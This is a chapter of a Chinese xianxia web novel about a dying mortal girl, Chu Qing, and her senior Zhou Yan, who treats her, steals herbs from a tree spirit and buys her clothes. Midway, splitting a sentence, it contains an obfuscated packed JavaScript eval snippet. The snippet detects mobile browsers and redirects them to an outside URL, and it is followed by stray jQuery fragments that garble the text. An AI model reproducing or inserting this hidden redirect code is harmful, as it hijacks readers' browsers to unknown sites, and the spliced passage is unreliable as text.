次日清晨,褚清带着连鹤一打包给她的一兜包袱站在祭天台前。
祭天台?名字听起来挺害怕,来了才发现不就一个农家乐院子吗?
看着连鹤一的脸色,明显他也是第一次来这里。不过褚清还是很喜欢这块地方,这里更有生活气息。
这也不属于雪山地界了,院子里外还能看见梨树上梨花层层叠叠的堆在一起绽放开,缀在树干上,像是山下未干的雪花。
这是梨花开放的时间吗?
进了院里,她看见一只橘猫窝在石墩上面晒太阳。
少女看着肥嘟嘟的小猫,忍不住上手摸起来,小猫也亲人,感觉到舒服,准备翻个身露肚皮想让人继续摸。
褚清转头想跟连鹤一说话,才发现他不知道什么时候就已经溜走了。
橘猫要翻滚那一瞬,一束灵力袭来,打在石墩上。
吓褚清一跳,转头看向从屋内走出的少年。
男子身着浅青色纱袍,衣襟袖口处绣着竹叶花纹略显淡雅,身姿挺拔,长发用银簪冠起高马尾垂在身后。
五官精致,眉骨冷峻,少年气浓重的脸庞上没有一丝笑意,意外有种反差感。
少年年岁应该跟她差不了多少,漂亮的眸子没有先落到她身上,而是盯向石墩上的橘猫。
周宴蹙眉给橘猫传音——以后有女孩来穿上衣服,你是公是母心里没数吗?
“周师兄。”褚清试探开口。
她心里暗暗腹诽,不就摸了下猫。
周宴这才将目光移向少女身上,看见奇异的装扮不免有一丝惊异:“没给你发弟子服吗?”
“没。”说完后,褚清才意识到包袱里有衣服,“发了……但是我现在太怕冷了,穿不了……”
就算这周宴师兄长的像画里出来的美少年,但总冷着脸让人亲近不起来,褚清特别害怕自己说错话。
周宴:“……”
居然是凡人,漠然开口:“先进屋。”
褚清进来才发现外面的景象只是障眼法,她以为的木屋,在进入那瞬变成了宅院府邸。
跟着少年经过竹园和前庭,穿过走廊才来到后院,周宴虚手一指旁边屋子:“你住那里。”
花十几分钟才逛完,两人落座于主厅,褚清看着面前专心为她把脉的少年。
心里还是忍不住感叹这张脸太对她的胃口了,怎么会被貌美女子伤了心呢?
几秒过去后,看着还在摸脉的周宴,细看他眉头皱起,她心凉了半截:“我能治吗,师兄?”
周宴移开手,抬头对上少女略显惶恐的眼神:“能。”
想了想他还是安慰了一句:“不用担心。”
他也没摸到过这样的脉,细脉如线,到不必非说是中毒,但的确没几日能活了。
想了想周宴拿出一瓶丹药,推到少女面前:“这几天还不能学习修行,这个解毒丹要一天吃一次。”
他也没乱说,如今面前少女这样的身体状况,贸然引气入体,只会加速死亡的速度罢了。
褚清接过瓷瓶,不免有些泄气,她还以为马上就能学修仙了。
如果连鹤一在这,一定会瞪大双眼,他师傅不舍得用的一品丹药,周宴随手就拿出一整瓶送人。
周宴想到她如今的状况,又从储物袋里掏出一枚戒指,附上些许灵力:“这戒指可以传音,敲两下宝石就可以向我传音,如果发红光,敲一下便可以听见我说出的话。”
褚清特别很喜欢这个戒指,拿到手上就开敲两下试验:“师兄,你还没问我的名字?”
少女声音传入周宴灵识,仿佛是贴着耳朵说出,他有一瞬的不适。
怔愣半秒,下意识用神识回音,转眸看见褚清等他回话的眼神。
他才想起面前的少女还未开始修行,才回声:“叫什么?”
“褚清。”少女将戒指从脸边移开,沾着茶水在桌子上描写了个‘褚’字,“清醒的清。”
周宴看着刚刚还冲着他笑解释名字的少女,下一秒鼻血流出,不免心觉一惊,连忙掏出一颗丹药塞入她口中。
喂完药他立刻双手合十掐诀将灵力续入褚清体内。
褚清看见桌子上自己用水划好的褚字,还未消散,随即便落上几滴血珠。
头越发昏沉,差点无力支撑她坐好。
她感受到嘴里丹药,以及下一秒温暖的灵力蔓延全身,头脑才得以清醒几分。
无力感在转好那一刻疯狂滋生,来到这里非她本意,却无时无刻都会感受到对生命的威胁,她眼圈还是泛了红。
周宴看见褚清眼眸盈出泪珠,也学她沾水写名字安慰她:“你不用担心,褚清,在你面前是周宴,抛去剑修的身份,我是一名出色的丹药师。”
“昆仑山上如果有人能练出极品丹,那这个人只会是我。如果有人能救你,那一定也会是我。”
他本想加一句——要时时刻刻相信他,这句话还是没说出口,凭什么要相信他一个刚认识的人。
接到栾翰的请求让他救人,周宴还以为他听错了。栾翰这个人自私自利惯了,对于没有利用的价值,绝不会拿出他娘留下的遗物来威胁他。
可周宴看着眼前没有一丝灵力波动甚至命不久矣的少女,也想不出她能有什么利用的价值。
甚至说,如果不是他多加照拂,在练出极品解毒丹前,她都不一定能够活下去。
褚清因眼泪视线变得模糊,看不见少年眼里的坚定,听见这段话只觉得他在装X。
她点了点头,表示自己听到了。
周宴决定下午就下山筹集药材,看着因药物作用昏昏欲睡的少女,想了想用佩剑虚托着褚清,将她送进了房间。
他走之前用灵力给小院设了一层屏障。
……
褚清醒来时,外面天都黑了,这是她第一次在这个世界时,从晚上醒过来。
屋里没有一点烛火,伸手都看不见五指。越黑的环境她就越害怕,脑海里忍不住想起志怪小说里的吃人的妖怪和鬼魂。
她把被子盖过头顶,心跳的声音砰砰响,肚子也开始饿了。
越害怕越清醒,她好几次尝试睡着都无果,周师兄给她的丹药效果太好,她精力充沛到马上就能上操场跑个800米。
一只鸟飞行中被结界挡住,鸟扑棱两下掉到地上叫了两声,吓得褚清连忙拿被子捂住头,两三下意外敲响了手上的传音戒。
她闭着眼,口里呢喃着:“阿弥陀佛,妖魔鬼怪快走开。”
周宴此刻正干着偷鸡摸狗的事,跑到树妖领地里偷最后一味药材。
听到被褚清念叨的声音,他心都漏跳一拍,一丝灵力泄出。
树妖修行多年,数根树藤一瞬从枝蔓伸出,转眼就伸到他面前,周宴只好召出本命剑问雪,让问雪剑对付不断伸出缠绕的藤蔓,他则冒进向内偷药材。
刚火急火燎跑进洞穴里,他薅了好几把草药,剑灵不敌缠绕的藤蔓。
周宴掐火灵诀将灵力注入剑上,问雪剑烧灼掉缠绕的藤蔓,来到他手里。
滕蔓一瞬的减少后,树杈不断伸展准备将洞穴掩盖,周宴见状不好,他只打算偷偷拿些草药,本就是他有错在先,并没打算和树妖打起来。
他掏出储物袋里的一品聚元丹,用此时难得萦绕火焰的问雪剑穿过树杈悬至老树面前。
他使用念力传音:“此事为小辈有错在先,师妹性命堪忧,急需青黛这一味草药。这瓶一品聚元丹为前辈赔礼。”
围堵着洞穴的树杈轰一声打开,周宴走出时隐约听见一声气哼,他以为是褚清睡着时的梦呓。
下一秒就被收回来的滕蔓鞭了一下背,他痛哼溢出,问雪剑灵生气,脱开手要和老树在打一架,被周宴拦下:“不用。”
他接下空中飘着的几株草药,听见老树的几声训斥:“下不为例。”
神识里传来少女带着关心,外加心虚的话语:“师兄,你还好吗?”
褚清听见缠斗的声音,才发现她不知什么时候敲开了传音戒,她将耳朵贴近指戒,能听见问雪剑鸣和燃烧枝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363059|183781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蔓的声音。
刚刚她对黑暗的恐惧随着好奇心被吹散,津津有味的听着打斗声。
直到听见少年的痛哼,担心才像荧荧虫火涌上心头。
过了几秒,传音戒才传来少年带着笑意的清润嗓音:“托你的服,没死成。”
紧接着传来周宴疑惑的声音:“你晚上不睡觉念叨什么佛经?”
传音戒的声音传来跟神识传音不太一样,神识传音在大脑呈现,而传音戒的声音更贴近人与人交流的实际情况。
所以在他做亏心事时,突然有人在你旁边念叨佛经,的确是误人心神。
周宴此刻还特别反思难道是自己意志太不坚定吗?
褚清没想到自己病急乱投医的乱喊,也被听到了,有点丢人还是想把这件事揭过:“我醒来太害怕,屋里没有一点烛火。我不小心才敲响的传音戒。”
“师兄,我还没怪你大半夜不睡觉打什么架?”这句牢骚声音可谓压的很小了,但她不知道传音戒会把细小声音放大,可谓煲电话粥神器。
听见她说害怕,周宴立马加快了御剑的速度,紧接着她下面这句话让他趔趄一下。
问雪剑灵也生了火气,冰汽一瞬蒸出,粘住了周宴的衣摆。
他的剑灵神智如同幼儿,再加上如今塞进来的褚清,他现在有种养孩子的心累。
褚清听见少年恨铁不成钢的声音传来:“是的,你师兄大半夜找虐。”
“害怕就别关传音,我马上回去。”
她没想到嘟囔的坏话被听见了,周宴的下一句话简直让她心安。
奈何这地界没有传送阵,御剑飞回去起码也要半个时辰,褚清听着传音戒的风声,听着听着就睡着了。
还没等周宴赶回来,他就听见耳边少女睡着清浅呼吸声,仿佛就在他耳边的吐气呼气。
少年微微蹙眉,一抹不适溢出,他伸手将传音戒关闭。
想到前一天她抱怨发的弟子服太薄,调换御剑方向往凡间。
……
翌日清晨,褚清被饭香吸引,闻着走着就到了厨房门口。她看着正在炒菜的少年,嘴都要掉地上了。
“你还会做菜!?”
周宴转身就看见被香味吸引来的少女,施了个清洁术,看到她散着头发,微微叹了口气。
“怎么不梳头?”
少女摸了摸散开的头发:“我不会呀,而且我连梳子都没有,怎么梳.”
周宴将刚炒好的菜装盘,暗想是他太粗心,没几秒想起他为褚清买那堆冬装后,老板娘硬塞给他的一些首饰。
周宴犹豫了两秒,师兄妹,应该可以拉手吧。
他拉着褚清的手走到正厅,将储物袋里买的几件冬装和送的首饰一股脑全倒出来。
褚清看着跟电视剧里一样的漂亮衣服,眼睛笑的眯起来。
周宴看着倒出的首饰配件,思考了好几分钟,是找个丫头专门给她梳头,还是他去学梳头呢?
褚清兴冲冲的去试衣服了,少年想了好长时间,还是觉得他来梳好了。
等她学了修行,就可以自己梳头了。
周宴想的挺好,一会再去凡间买些女子需要的物件,顺便学学梳头。
褚清只一眼就最喜欢这套朱红色的冬装,里面月白素色的中衣里一层兔毛,下搭齐胸朱红襦裙。
她兴冲冲穿好,跑到周宴面前转了一圈,笑得眉眼弯弯,“我漂亮吗?”
少女的容貌的确称不上漂亮,不过批下柔顺的长发,眼神明亮笑成月牙,嘴角咧开。
就算是一张丢在人群里也不会多看的脸,此时此刻周宴也真心的觉得她漂亮,可爱。
“漂亮。”
褚清毫不意外听到这样的回答,只不过她想照镜子看看:“有镜子吗?师兄,我想要能照全身的镜子。”
她知道自己长的好看,好几次有星探给她递名片,她都以学业为重拒绝了。
周宴给一会的采买清单又加上一笔,手已经不假思索的给师妹变出了一面水镜。